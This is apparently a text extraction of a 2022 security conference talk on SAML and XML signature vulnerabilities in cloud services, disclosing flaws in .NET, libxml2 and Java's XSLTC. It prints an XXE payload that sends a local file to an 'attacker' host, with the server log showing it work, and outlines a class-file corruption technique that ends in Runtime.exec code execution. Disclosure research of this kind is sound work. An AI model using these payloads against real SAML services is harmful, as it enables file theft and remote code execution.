Hacking the Cloud With SAML
Felix Wilhelm, Google Project Zero
Hexacon 2022

About Me●Security Researcher at Google Project Zero●Previously: Product Security for Google Cloud, security researcher at ERNW●

Main focus: Virtualization and Cloud Security●Author of weggliThis talk
●SAML as a large and very interesting attack surface in Cloud environments.

●

Especially when targeting multi-tenant SaaS applications●

Not a talk about authentication bypasses (e.g signature wrapping)●

We are looking for implementation ﬂaws that lead to OS-level accessSAML - Security Assertion Markup Language1.Initial request

Identity
Provider(IdP)

UserServiceProvider(SP)SAML - Security Assertion Markup Language

1.Initial request

Identity
Provider(IdP)

3. Forward SAML Request

User

2. Redirect to IdP withSAML Request

ServiceProvider(SP)

SAML - Security Assertion Markup Language
4. Authenticate the user
1.Initial request

Identity
Provider(IdP)

3. Forward SAML Request

User

2. Redirect to IdP with
SAML Request

ServiceProvider(SP)SAML - Security Assertion Markup Language
4. Authenticate the user
1.Initial request

Identity
Provider(IdP)

3. Forward SAML Request5. Redirect to SP with
SAML Response

User

2. Redirect to IdP withSAML Request
6. Forward SAML
Response

ServiceProvider(SP)

SAML - Security Assertion Markup Language
4. Authenticate the user
1.Initial request

Identity
Provider(IdP)

3. Forward SAML Request
5. Redirect to SP with
SAML Response

User

2. Redirect to IdP with
SAML Request
6. Forward SAML
Response

7. Authenticated session

Service
Provider(SP)

SAML in the Enterprise

Service
Provider(SP)

Identity
Provider(IdP)

ServiceProvider(SP)

ServiceProvider(SP)

Service
Provider(SP)

SAML in the Cloud

Service
Provider(SP)

Identity
Provider(IdP)

Identity
Provider(IdP)

Identity
Provider(IdP)

Identity
Provider(IdP)SAML Response<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns="urn:oasis:names:tc:SAML:2.0:assertion" ID="foobar"
Version="2.0" IssueInstant="2022-10-11T23:54:48Z" Destination="http://sp.example.com/saml/acs"><Issuer>http://idp.example.com/SSO</Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="barfoo" Version="2.0" IssueInstant="2022-10-11T23:54:48Z"><Issuer>http://idp.example.com/metadata.php</Issuer><Subject> ...</Subject><Conditions NotBefore="2022-10-11T23:54:48Z" NotOnOrAfter="2022-11-11T23:54:48Z"><AudienceRestriction><Audience>http://sp.example.com/saml/metadata</Audience></AudienceRestriction></Conditions><AttributeStatement> <Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><AttributeValue xsi:type="xs:string">user@example.com</AttributeValue></Attribute></AttributeStatement></Assertion></samlp:Response>SAML ❤ XML Signatures●●

Most SAML ﬂows use the browser to forward requests/responses between IdPand SP ⇒ Messages need to be integrity protected
SAML uses XML Signatures (XMLDsig) for this.
○○●Requests are (optionally) signed by a SP private key
Responses are (partially) signed by an IdP private key

XML Signature veriﬁcation is part of the unauthenticated attack surface of boththe SP and the IdP*

* Several popular IdP’s don’t actually verify request signatures.

XML Signatures (XMLDsig)●<Response><Signature><SignedInfo>...</SignedInfo><SignatureValue>...</SignatureValue><KeyInfo>...</KeyInfo></Signature><Response●●

Good example for a security
standard invented in the early
2000’sHigh complexity, large attack
surface, conﬁgurable
Very error-prone

KeyInfo + Signature Value●<Response><Signature><SignedInfo>...</SignedInfo><SignatureValue>...</SignatureValue><KeyInfo>...</KeyInfo></Signature><Response●KeyInfo - Speciﬁes the signer key○ Can be a raw key, X509
certiﬁcate, a simple identiﬁer
or a reference to the locationof one of these.
○ SP needs to verify that this is
an IdP key they trust.
SignatureValue - Signature of thecanonicalized SignedInfo element

SignedInfo●●<SignedInfo><CanonicalizationMethod Algorithm="..."/><SignatureMethod Algorithm="..." /><Reference URI="#signed-data">..
</Reference></SignedInfo>●

The only directly signed element.
Describes the Canonicalizationand Signature algorithm used tocalculate SignatureValue from thelast slide
Indirectly protects data via
ReferencesReferences●<Reference URI="#id"><Transforms><Transform Algorithm="..."/><Transform Algorithm="...”/></Transforms><DigestMethod Algorithm="...#sha1"/><DigestValue>...</DigestValue></Reference>●●

Identify referenced data via URI○ Ideally this is the SAML
response or assertion
Pipe the data through a series ofTransforms○ Canonicalization○ Remove enveloped Signature○ Base64○ XPath Filtering○ XSLT
Calculate the digest and compare
it with DigestValue

XMLDsig Transforms as attack surface●Two independent steps: Signature validation and Reference validation○○●●In theory, order is irrelevant.
In practice has a large impact on the attack surface○●●A.1) Is SignedInfo correctly signed.
■ A.2) by a trusted key?
B) Is the referenced data valid?

(B) -> (A.1) -> (A.2) or (A.1) -> (B) -> (A.2) allows an unauthenticated attacker tospecify their own transforms.

Multi-tenant SP’s can always be attacked with a malicious IdP
SP -> IDP attacks are possible as well (if the IdP validates signatures)

.NET CVE-2022-34716: External Entity Injection during XML
signature veriﬁcation●//src/libraries/System.Security.Cryptography.Xml/src/Sy
stem/Security/Cryptography/Xml/Utils.cs

Output of each Transform needs to get
reparsed.

●

Internally used XML reader conﬁgenables processing of DTDs and entity

XmlReaderSettings settings = new XmlReaderSettings();
settings.XmlResolver = xmlResolver;
settings.DtdProcessing = DtdProcessing.Parse;[..]
XmlReader reader = XmlReader.Create(stringReader,settings, baseUri);doc.Load(reader);expansion.
●External entities are resolved by amisnamed XmlSecureResolver●Full exﬁltration of local ﬁles / internal
URLs is possible

.NET CVE-2022-34716: External Entity Injection during XML
signature veriﬁcation<Response>PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgJSB4eGUgU1lTVEVNCiJodHRwOi8vbG9jYWxob3N0OjgyMzQvdGVzdC5kdG
QiPiAleHhlO10+Cg==<Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#base64" /><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>....</DigestValue></Reference></SignedInfo><SignatureValue>....<SignatureValue><KeyInfo>....</KeyInfo></Signature></Response>

.NET CVE-2022-34716: External Entity Injection during XML
signature veriﬁcation<!DOCTYPE foo [<!ENTITY % xxe SYSTEM"http://attacker:8234/test.dtd">%xxe;]>√ http % cat test.dtd<!ENTITY % ﬁle SYSTEM "ﬁle:///tmp/secret"><!ENTITY % eval "<!ENTITY &#x25; exﬁltrate SYSTEM'http://attacker:8234/test?x=%ﬁle;'>">%eval;%exﬁltrate;√ http % cat /tmp/secret{key: "my-secret-api-key"}√ http % python3 -mhttp.server 8234
Serving HTTP on :: port 8234 (http://[::]:8234/) ...
::ffff:127.0.0.1 - - [10/Jun/2022 09:03:02] "GET
/test.dtd HTTP/1.1" 200 ::ffff:127.0.0.1 - - [10/Jun/2022 09:03:02] code 404,
message File not found::ffff:127.0.0.1 - - [10/Jun/2022 09:03:02] "GET

/test?x=%7B%0A%20key:%20%22my-secret-apikey%22%0A%7D HTTP/1.1" 404 -XSLT<Transform
Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0"><xsl:output encoding="UTF-8" indent="no" method="xml" /><xsl:template match="/input"><output><xsl:for-each select="data"><data><xsl:value-of select="substring(.,1,1)" /></data></xsl:for-each></output></xsl:template></xsl:stylesheet></Transform>

●
●
●

●

Extensible Stylesheet Language
Transformations
XML-based programming language fortransforming documents
Example script on the left turns<input><data>abc</data><data>def</dat
a></input> into
<output><data>a</data><data>d</data></output>
Not something you want to have as partof your pre-auth attack surface.

XML Security Library (xmlsec)
GET /?SAMLResponse=...

●python3-saml●xmlsec●●libxslt

libxml2

Popular C implementation of the xmldsig
standard.
Relies on libxml2 / libxslt to implementtransforms
Large and memory-unsafe attack surface
Allows remote triggering of quite obscurebugs

libxml2 CVE-2022-29824: heap-buffer-overﬂow in xmlBufAdd
int xmlBufAdd(xmlBufPtr buf,
const xmlChar *str, int len) {unsigned int needSize;
needSize = buf->use + len + 2;
if (needSize > buf->size){if (!xmlBufResize(buf, needSize)){
xmlBufMemoryError(..);
return XML_ERR_NO_MEMORY;}}
memmove(&buf->content[buf->use], str,len*sizeof(xmlChar));
}

●

●
●

Standard integer overﬂow when
operating on buffers close to 2^32bytes.
Would normally require very large
XML input to trigger
Easy trigger via XSLT an dynamic
string generation

CVE-2022-34169: Integer Truncation in XSLTC
●
●

●
●

XSLTC - The XSLT compiler. Originally part ofthe Apache Xalan project.
A forked version is part of OpenJDK and it’s
the default runtime for XSLT in all major Javaversions.
JIT compiler from XSLT to JVM Bytecode
Reachable via XMLDsig in the default
conﬁguration until JDK 17.

The BugClassFile {u4u2u2u2cp_info[..]}●magic;minor_version;
major_version;
constant_pool_count;cp[constant_pool_count-1];

public void dump(final DataOutputStream file ) throws
IOException {file.writeShort(constant_pool.length);for (int i = 1; i < constant_pool.length; i++) {if (constant_pool[i] != null) {constant_pool[i].dump(file);}}}●●All constants in a JVM class get
stored in a per-class table called theconstant pool.
During compilation, XSLTC adds
every new constant such as strings,
integers or ﬂoats to the constantpool.
Problem: JVM class ﬁle format only
supports 2^16-1 constants in asingle class. But XSLTC does notenforce this limit.

⇒ Large pool size will get truncatedwhen the class ﬁle is serializedConstant Pool Overﬂow// https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html
ClassFile {u4magic;
u2
minor_version;
u2
major_version;u2
constant_pool_count;
cp_infoconstant_pool[constant_pool_count-1];
u2
access_flags;u2
this_class;u2
super_class;u2
interfaces_count;u2interfaces[interfaces_count];u2
fields_count;field_info
fields[fields_count];u2
methods_count;method_info
methods[methods_count];u2
attributes_count;
attribute_info attributes[attributes_count];}●●

Parts of the attacker-controlled
constant pool will now beinterpreted as the class ﬁelds
following the constant pool
Goal is to create a valid JVM classﬁle with arbitrary bytecode under
our control

Constant Pool Entries
CONSTANT_Integer_info {u1 tag;u4 bytes;}
CONSTANT_Double_info {u1 tag;u4 high_bytes;
u4 low_bytes;}
CONSTANT_Utf8_info {u1 tag;u2 length;
u1 bytes[length];}

CONSTANT_String_info {u1 tag;u2 string_index;
}

●
●
●
●

Single byte tag followed by variable sizedobject
JVM uses more than 12 constant types,
but we can not generate all of them.
Strings, whose payload is stored in
Utf8_info are mostly useless.
Doubles as core corruption primitive○○

0x06 tag byte
0xYY 0xYY 0xYY 0xYY 0xYY 0xYY
0xYY 0xYY controlled content

Fixing the Class Header// https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html
ClassFile {u4magic;
u2
minor_version;
u2
major_version;u2
constant_pool_count;
cp_infoconstant_pool[constant_pool_count-1];

u2
u2
u2

access_flags;
this_class;super_class;u2
interfaces_count;u2interfaces[interfaces_count];u2
fields_count;field_info
fields[fields_count];u2
methods_count;method_info
methods[methods_count];u2
attributes_count;
attribute_info attributes[attributes_count];}

Fixing the Class Header
u2
constant_pool_count[... constant pool .. ]u2
access_flags;u2
this_class;u2
super_class;u2
interfaces_count;u2interfaces[interfaces_count];u2
fields_count;field_info fields[fields_count];u2
methods_count;Fixing the Class Header
u2
constant_pool_count == 0x703[... constant pool .. ]u2
access_flags;u2
this_class;u2
super_class;u2
interfaces_count;u2interfaces[interfaces_count];u2
fields_count;field_info fields[fields_count];u2
methods_count;
CONST_STRING

0x08 0x07 0x02
access_flags

CONST_DOUBLE

0x06 0xXX 0xXX 0x00 0x00 0x00 0x00 0xZZ 0xZZ

this_class super_class

ints_countfields_count methods_countDeﬁning Methods
ClassFile {[...]u2method_info[...]}

methods_count;methods[methods_count];

method_info {u2
access_flags;u2
name_index;
u2
descriptor_index;
u2
attributes_count;
attribute_info
attributes[attributes_count];}
attribute_info {u2 attribute_name_index;
u4 attribute_length;u1

Code_attribute {u2 attribute_name_index;
u4 attribute_length;
u2 max_stack;u2 max_locals;
u4 code_length;
u1 code[code_length];u2 exception_table_length;{
u2 start_pc;
u2 end_pc;
u2 handler_pc;
u2 catch_type;} exception_table[exception_table_length];u2 attributes_count;
attribute_info
attributes[attributes_count];}Bytecode
CONST_DOUBLE: 0x06

0x01 0xXX 0xXX 0xYY 0xYY 0x00 0x01 0xZZ
CONST_DOUBLE: 0x06 0x00 0x00 0x00 0x05 0x00 0x00 0x00 0x00
CONST_DOUBLE: 0x06 0x00 0x01 0xCC 0xCC 0xDD 0xDD 0x00 0x03
CONST_DOUBLE: 0x06 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
CONST_DOUBLE: 0x06 0xCC 0xDD 0xZZ 0xZZ 0xZZ 0xZZ 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA

First Method Header
access_flags 0x0601
name_index 0xXXXX
desc_index 0xYYYY
attr_count 0x0001

Attribute [0]name_index 0xZZ06
length 0x00000005
data“\x00\x00\x00\x00\x06”

Bytecode
CONST_DOUBLE: 0x06

0x01 0xXX 0xXX 0xYY 0xYY 0x00 0x01 0xZZ
CONST_DOUBLE: 0x06 0x00 0x00 0x00 0x05 0x00 0x00 0x00 0x00
CONST_DOUBLE: 0x06 0x00 0x01 0xCC 0xCC 0xDD 0xDD 0x00 0x03
CONST_DOUBLE: 0x06 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
CONST_DOUBLE: 0x06 0xCC 0xDD 0xZZ 0xZZ 0xZZ 0xZZ 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA
CONST_DOUBLE: 0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA

Second Method Header
access_flags 0x0001
name_index 0xCCCC -> <init>
desc_index 0xDDDD -> ()V
attr_count 0x0003
Attribute [0]name_index 0x0600
length 0x00000004
data“\x00\x00\x00\x06
Attribute [1]name_index 0xCCDD -> Codelength 0xZZZZZZZZ
data PAYLOAD
Attribute [2] ...

Final Touches●<xsl:value-of
select="rt:exec(rt:getRuntime(),'...')"
xmlns:rt="java.lang.Runtime"/>Constant Pool Entries to arbitraryclasses and methods can be
added via Xalan’s Java extension
feature○●●The feature is disabled but
functionality will still be compiled
inConstructor Type-CheckUse dynamically sized attribute
entry to skip the rest of XSLTC’soutput.

The EndYou can ﬁnd the ﬁnal exploit on our issue tracker:
https://bugs.chromium.org/p/project-zero/issues/detail?id=2290

Conclusion●●●

SAML and XMLDsig offer a large and complex attack surface to external
attackers
Multi-Tenant SaaS applications change the threat model
Even memory safe languages can hide weird machinesThank you.
@_fel1x

fwilhelm@google.com

Shoutout to Matthias Kaiser and thanat0s